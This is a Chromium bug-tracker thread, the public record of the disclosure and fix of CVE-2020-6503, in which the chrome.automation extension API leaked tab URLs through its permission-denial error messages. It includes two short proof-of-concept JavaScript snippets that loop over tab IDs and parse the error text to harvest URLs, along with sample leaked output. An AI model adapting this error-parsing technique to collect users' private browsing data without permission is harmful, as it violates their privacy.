☆ Starred by 1 user

Owner: ----

CC: dtseng@chromium.org
aboxhall@chromium.org
rdevl...@chromium.org
cthomp@chromium.org
dmazz...@chromium.org
awhalley@google.com

Status: Verified *(Closed)*

Components: UI>Accessibility

Modified: Oct 15, 2021

Merge-na
reward-500
Via-Wizard
Security_Impact-Stable
Security_Severity-Medium
reward-decline
allpublic
CVE_description-submitted
Target-75
Target-76
Target-77
Target-78
Target-79
M-79
Release-0-M74
CVE-2020-6503
Team-Accessibility

Issue 639322: Automation API leaks tab URLs

Reported by jannhorn@googlemail.com on Fri, Aug 19, 2016, 12:12 PM EDT

Code

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Steps to reproduce the problem:
1. Open a dev build; the Automation API is not present in stable.
2. Open a few tabs with secret URLs.
3. Unpack and load the attached extension.
4. Wait a few seconds for the alert().
5. Verify that the extension didn't request any permissions that are visible in the UI.

Here's a copy of the background.js in the attached extension:

```
var urls = [];
var i = 0;
function next_() {
  if (i == 10000) {
    alert(urls.join('\n'));
    return;
  }
  chrome.automation.getTree(i, function() {
    var msg = chrome.runtime.lastError.message;
    if (msg.indexOf('automation tree on url "') !== -1) {
      urls.push(msg.split('"')[1]);
    }
    i++;
    next_();
  });
}
next_();
```

What is the expected behavior?

What went wrong?
You'll see an alert() window with the URLs of all tabs. The problem is that the error message for permission denial (kCannotRequestAutomationOnPage) contains the URL of the specified tab, which is normally only revealed to an extension with the "tabs" permission.

Did this work before? N/A

Chrome version: 54.0.2824.0 Channel: dev
OS Version:
Flash Version: 22.0.0.209

In case this qualifies for a reward: I'm not sure whether I'm eligible to receive rewards.

urlleak_extension.zip

886 bytes Download

Comment 1 by jialiul@chromium.org on Fri, Aug 19, 2016, 1:59 PM EDT
Owner: dtseng@chromium.org
Components: UI>Accessibility

Thanks for reporting this issue, jannhorn@! I'll leave it to accessibility team to triage and decide if it is qualified for the reward program.

+dtseng@, could you help triage this bug since you're the owner of related files?
Thanks!

Comment 2 by dtseng@chromium.org on Fri, Aug 19, 2016, 4:59 PM EDT

Hi, thanks for the report and the investigation into this!

This API is in dev because it hasn't received a full security review. Accessibility, by necessity, reveals various pieces of info for programmatic access. You can, for example, get the same result by querying the native platform API's for accessibility.

Comment 3 by jannhorn@googlemail.com on Fri, Aug 19, 2016, 5:07 PM EDT

> Accessibility, by necessity, reveals various pieces of info for programmatic access.

But here, the accessibility API explicitly tries to *not* grant any access to that tab because the user hasn't allowed it.

Comment 4 by dtseng@chromium.org on Fri, Aug 19, 2016, 7:33 PM EDT

I'm not ok with granting a reward for a developmental api.

Comment 5 by sheriffbot@chromium.org on Sat, Aug 20, 2016, 9:03 AM EDT
Status: Assigned (was: Unconfirmed)

Comment 6 by jialiul@chromium.org on Mon, Aug 22, 2016, 6:40 PM EDT
Labels: Security_Severity-Medium Security_Impact-None

Comment 7 by mbarb...@chromium.org on Mon, Jul 30, 2018, 2:31 PM EDT

Though I didn't investigate too closely this no longer seems to reproduce. Can we close this out?

Comment 8 by jannhorn@googlemail.com on Tue, Jul 31, 2018, 1:13 AM EDT

> Though I didn't investigate too closely this no longer seems to reproduce.

Because the PoC relies on tab IDs being between 0 and 10000, and apparently that's no longer the case. If you supply a valid tab ID, it still works. I didn't design my PoC to be sufficiently robust to withstand the random changes made over ~2 years. :P

Code (run it in devtools in the context of an extension with automation API access):

```
chrome.windows.getAll({populate:true}, (windows) => {
  let tabs = [].concat.apply([], windows.map(x=>x.tabs.map(x=>x.id)));
  let urls = [];
  let i = 0;
  function next_() {
    if (i == tabs.length) {
      console.log(urls.join('\n'));
      return;
    }
    chrome.automation.getTree(tabs[i], function() {
      var msg = chrome.runtime.lastError.message;
      if (msg.indexOf('automation tree on url "') !== -1) {
        urls.push(msg.split('"')[1]);
      }
      i++;
      next_();
    });
  }
  next_();
});
```

Output:
```
https://www.google.ch/search?q=how+to+make+waffles&rlz=1CAZZAF_enCH806&oq=how+to+make+waffles&aqs=chrome..69i57j0l5.15038j0j7&sourceid=chrome&ie=UTF-8
https://www.google.ch/search?q=pancake+recipe&rlz=1CAZZAF_enCH806&oq=pancake+recipe&aqs=chrome..69i57j0l5.2555j0j7&sourceid=chrome&ie=UTF-8
```

> Can we close this out?

No.

Comment 9 by dtseng@chromium.org on Tue, Jul 31, 2018, 3:55 PM EDT
Status: available (was: Assigned)
Owner: a_deleted_user

#4 still applies. I'll defer to security folks on this one...but I'd vote to close.

Comment 10 by jannhorn@googlemail.com on Tue, Jul 31, 2018, 8:24 PM EDT

Re #4: I'm not interested in a reward for this. However, I do think that it's worth pointing out that https://www.google.com/about/appsecurity/chrome-rewards/ states that "We are interested in bugs that make it to our Stable, Beta and Dev channels", without any qualifier that excludes specific APIs.

Also: I have just verified that I can upload a Chrome extension with permission to use the automation API into the Chrome Web Store, and then install it from there on a Dev build, and then use the automation API from the context of the webstore-installed extension. I understand that Dev builds are generally expected to be more buggy than Stable and Beta, but I didn't realize that security bugs that only affect users of Dev builds are apparently considered to not be worth fixing.

Comment 11 by jschuh@chromium.org on Tue, Aug 28, 2018, 2:59 PM EDT
Cc: rdevl...@chromium.org

Comment 12 by rdevl...@chromium.org on Tue, Aug 28, 2018, 3:12 PM EDT
Cc: dmazz...@chromium.org dtseng@chromium.org aboxhall@chromium.org
NextAction: 2018-09-07

Extensions that use the automation API can basically do *anything*, I think - it's one of the most powerful APIs there (right up there with debugger). Right now, it's restricted to ChromeVox on stable channel, and is usable by any extension on dev channel.

I think we should just remove dev channel support (except for Chromevox).

dtseng, dmazzoni, aboxhall - do you know why we allowed any extension to use this on dev channel? Any concerns with removing the capability?

Comment 13 by monor...@bugs.chromium.org on Fri, Sep 7, 2018, 7:00 AM EDT

The NextAction date has arrived: 2018-09-07

Comment 14 by cthomp@chromium.org on Fri, Jan 25, 2019, 6:38 PM EST

Status: Assigned (was: Available)
Owner: dtseng@chromium.org
Cc: cthomp@chromium.org
Labels: -Pri-2 -Security_Impact-None Security_Impact-Head M-73 Pri-1

Sheriff here: To follow up on this, c#10 is correct that security bugs in Dev channel are still security bugs. The impact should still be Impact-Head, as this is currently accessible on Dev channel in the wild (per c#12).

Separately, we could potentially say that this is WAI if that is the argument being made here, but the risk posed by this from arbitrary extensions is high.

Per c#12, assigning this to dtseng@ to determine the next steps (on whether this is necessary to be exposed to Dev channel). Thanks.

Comment 15 by sheriffbot@chromium.org on Sat, Jan 26, 2019, 9:02 AM EST

dtseng: Uh oh! This issue still open and hasn't been updated in the last 178 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 16 by sheriffbot@chromium.org on Sat, Jan 26, 2019, 9:50 AM EST

Labels: ReleaseBlock-Stable

This is a serious security regression. If you are not able to fix this quickly, please revert the change that introduced it.

If this doesn't affect a release branch, or has not been properly classified for severity, please update the Security_Impact or Security_Severity labels, and remove the ReleaseBlock label. To disable this altogether, apply ReleaseBlock-NA.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 17 by sheriffbot@chromium.org on Wed, Jan 30, 2019, 9:04 AM EST

Labels: -Security_Impact-Head Security_Impact-Beta

Comment 18 by sheriffbot@chromium.org on Sat, Feb 9, 2019, 9:02 AM EST

dtseng: Uh oh! This issue still open and hasn't been updated in the last 192 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 19 by abdulsyed@google.com on Wed, Feb 20, 2019, 6:16 PM EST

Cc: awhalley@google.com

+awhalley@ is there any action needed here?

Comment 20 by jannhorn@googlemail.com on Wed, Feb 20, 2019, 6:56 PM EST

(By the way, as context: Unlike e.g. the debugger API, an extension's use of the accessibility API is not displayed in the list of permissions at <chrome://extensions/?id=...>.)

Comment 21 by awhalley@google.com on Thu, Feb 21, 2019, 2:00 AM EST

Labels: -ReleaseBlock-Stable -M-73 M-74

Yep, we should disable dev channel support (except for Chromevox), but no need for it to release block 73

Comment 22 by sheriffbot@chromium.org on Thu, Feb 21, 2019, 9:50 AM EST

Labels: ReleaseBlock-Stable

This is a serious security regression. If you are not able to fix this quickly, please revert the change that introduced it.

If this doesn't affect a release branch, or has not been properly classified for severity, please update the Security_Impact or Security_Severity labels, and remove the ReleaseBlock label. To disable this altogether, apply ReleaseBlock-NA.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by dtseng@chromium.org on Thu, Feb 21, 2019, 11:57 AM EST

This bug has been open for a *loong* time. The original issue parses logging from an error...let's remove that logging and clear this bug out once and for all. If that is satisfactory :).

Comment 24 by dtseng@chromium.org on Thu, Feb 21, 2019, 12:23 PM EST

Also, @devlin's comments, I think there should be a larger discussion because extensions using the automation api can't just do anything. Would be good to clarify what is meant.

In another sense, extensions can do just as much more or less using a content script.

Comment 25 by rdevl...@chromium.org on Thu, Feb 21, 2019, 3:51 PM EST

> Also, @devlin's comments, I think there should be a larger discussion because extensions using the automation api can't just do anything. Would be good to clarify what is meant.

My recollection was that the automation API allowed the effectively the same type of capabilities as a content script, but didn't have the same restrictions on sites that content scripts do. I thought automation also allowed extensions to manipulate e.g. chrome://settings pages, etc (which is important for ChromeVox). I vaguely thought there might be some other contexts it can affect as well (Chrome Apps? More native UI? Maybe not...), but not sure that's right.

If that's incorrect and there are the same restricted URL checks for the automation API, then I'm less worried about this bug.

All that being said, can we just remove the ability for arbitrary extensions to use this on dev channel? dtseng@, if there's no concerns there, I can throw together a CL to do so.

Comment 26 by rdevl...@chromium.org on Thu, Feb 21, 2019, 3:52 PM EST

NextAction: 2019-02-22

Comment 27 by dtseng@chromium.org on Thu, Feb 21, 2019, 6:14 PM EST

Automation is actually far more restrictive:- we allow only page level access and use the same matches url patterns within the extension manifest.
The exception is what we call "desktop" permissions, which is used by ChromeVox and other screen readers.
- automation builds its tree over the accessibility tree which is in large part read-only.
A content script can manipulate the DOM in whatever way it wants. This is a pretty significant difference I think.

Let's sync up offline for the dev channel behavior.

Comment 28 by monor...@bugs.chromium.org on Fri, Feb 22, 2019, 7:00 AM EST

The NextAction date has arrived: 2019-02-22

Comment 29 by bugdroid on Wed, Feb 27, 2019, 8:54 PM EST

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/8bf91a6612ead0791f332ff2e042883f03e924b5

commit 8bf91a6612ead0791f332ff2e042883f03e924b5
Author: David Tseng <dtseng@chromium.org>
Date: Thu Feb 28 01:50:15 2019

Remove logging that exposes url in error output

~~Bug: 639322~~
Change-Id: I9443dab4aeaeef75e722bba8d3835f00406a3c65
Reviewed-on: https://chromium-review.googlesource.com/c/1481570
Commit-Queue: David Tseng <dtseng@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#636253}
[modify] https://crrev.com/8bf91a6612ead0791f332ff2e042883f03e924b5/chrome/browser/extensions/api/automation_internal/automation_internal_api.cc
[modify] https://crrev.com/8bf91a6612ead0791f332ff2e042883f03e924b5/chrome/test/data/extensions/api_test/active_tab/background.js
[modify] https://crrev.com/8bf91a6612ead0791f332ff2e042883f03e924b5/chrome/test/data/extensions/api_test/automation/tests/tabs_automation_boolean/permissions.js
[modify] https://crrev.com/8bf91a6612ead0791f332ff2e042883f03e924b5/chrome/test/data/extensions/api_test/automation/tests/tabs_automation_hosts/permissions.js

Comment 30 by gov...@chromium.org on Wed, Mar 13, 2019, 6:04 PM EDT

Reminder M74 is ALREADY branched and going to Beta next week. Please review this bug and assess if this is indeed a RBS. If not, please remove the RBS label. If so, please make sure to land the fix & request a merge to M74 ASAP, so the change gets enough beta coverage. Thank you.

Comment 31 by awhalley@google.com on Sun, Mar 17, 2019, 7:30 PM EDT

Labels: -Security_Impact-Beta -ReleaseBlock-Stable Security_Impact-Stable

Comment 32 by mmoroz@chromium.org on Fri, Apr 26, 2019, 5:32 PM EDT

dtseng@, please provide a status update on this issue when you get a chance. Security team would greatly appreciate that. Thanks!

Comment 33 by mmoroz@chromium.org on Mon, Apr 29, 2019, 1:08 PM EDT

Labels: OS-Android OS-Chrome OS-Fuchsia OS-Mac OS-Windows

Comment 34 by sheriffbot@chromium.org on Thu, Jun 6, 2019, 9:09 AM EDT

Labels: -M-74 M-75 Target-75

Comment 35 by mea...@chromium.org on Thu, Jun 13, 2019, 3:30 PM EDT

Pinged dtseng@ offline.

Comment 36 by vakh@chromium.org on Tue, Jul 9, 2019, 7:36 PM EDT

NextAction: 2019-07-10

Pinged dtseng@ offline again.

Comment 37 by monor...@bugs.chromium.org on Wed, Jul 10, 2019, 7:00 AM EDT

The NextAction date has arrived: 2019-07-10

Comment 38 by sheriffbot@chromium.org on Wed, Jul 31, 2019, 9:06 AM EDT

Labels: -M-75 M-76 Target-76

Comment 39 by jdeblasio@chromium.org on Mon, Aug 19, 2019, 11:52 AM EDT

Hi dtseng@ et al. Any progress on this? Chrome Security would still love to see some momentum here.

Thanks!
A friendly security marshal

Comment 40 by sheriffbot@chromium.org on Wed, Sep 11, 2019, 9:08 AM EDT

Labels: -M-76 M-77 Target-77

Comment 41 by sheriffbot@chromium.org on Wed, Oct 23, 2019, 9:18 AM EDT

Labels: -M-77 Target-78 M-78

Comment 42 by ajgo@google.com on Tue, Nov 26, 2019, 7:43 PM EST

Hi dtseng@ - Is this still a valid bug?

Comment 43 by sheriffbot@chromium.org on Wed, Dec 11, 2019, 9:19 AM EST

Labels: -M-78 Target-79 M-79

Comment 44 by mea...@chromium.org on Mon, Jan 6, 2020, 7:43 PM EST

This seems fixed, but dtseng is OOO until next week. Can anyone familiar with the bug take a look and see if we can consider it as fixed? Thanks!

Comment 45 by dominickn@chromium.org on Thu, Jan 23, 2020, 3:59 PM EST

Another re-up from the security marshall. Can we please have an update on whether this issue is addressed?

Comment 46 by mea...@chromium.org on Thu, Jan 30, 2020, 8:41 PM EST

David, friendly ping for an update. Thanks!

Comment 47 by dtseng@chromium.org on Thu, Jan 30, 2020, 9:07 PM EST

Status: Fixed (was: Assigned)
Owner: ----

Comment 48 by sheriffbot@chromium.org on Fri, Jan 31, 2020, 12:15 PM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 49 by natashapabrai@google.com on Mon, Feb 3, 2020, 12:31 PM EST

Labels: reward-topanel

Comment 50 by sheriffbot@chromium.org on Mon, Feb 3, 2020, 12:40 PM EST

Labels: Merge-na

Not requesting merge to beta (M80) because latest trunk commit (636253) appears to be prior to beta branch point (722274). If this is incorrect, please replace the Merge-na label with Merge-Request-80. If other changes are required to fix this bug completely, please request a merge if necessary.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 51 by adetaylor@google.com on Mon, Feb 3, 2020, 1:29 PM EST

Labels: Release-0-M74

The commit here was released in 74.0.3729.108.

jannhorn@ we apologize for the long time to adjust the bug status here and send it to the VRP panel. In due course I will go back and update the M74 release notes and allocate a CVE.

Comment 52 by natashapabrai@google.com on Wed, Feb 5, 2020, 6:58 PM EST

Labels: -reward-topanel reward-unpaid reward-500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 53 by pabrai@chromium.org on Wed, Feb 5, 2020, 7:04 PM EST

Congrats the Panel decided to award $500 for this report!

Comment 54 by natashapabrai@google.com on Wed, Feb 5, 2020, 7:13 PM EST

Labels: -reward-unpaid reward-inprocess

Comment 55 by sheriffbot on Sat, May 9, 2020, 2:54 PM EDT

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 56 by adetaylor@google.com on Mon, Jun 1, 2020, 5:11 PM EDT

Labels: relnotes_update_needed

Comment 57 by adetaylor@chromium.org on Wed, Jun 3, 2020, 5:47 PM EDT

Labels: CVE-2020-6503 CVE_description-missing

Comment 58 by adetaylor@chromium.org on Wed, Jun 3, 2020, 7:11 PM EDT

Labels: -CVE_description-missing CVE_description-submitted

Comment 59 by adetaylor@google.com on Thu, Sep 3, 2020, 11:38 AM EDT

Labels: -reward-inprocess reward-decline

Comment 60 by adetaylor@google.com on Fri, Jan 8, 2021, 5:33 PM EST

Labels: -relnotes_update_needed

Comment 61 by cshraddha@google.com on Fri, Oct 15, 2021, 2:06 PM EDT

Status: Verified (was: Fixed)

No crashes have been reported and the code is presumed fixed.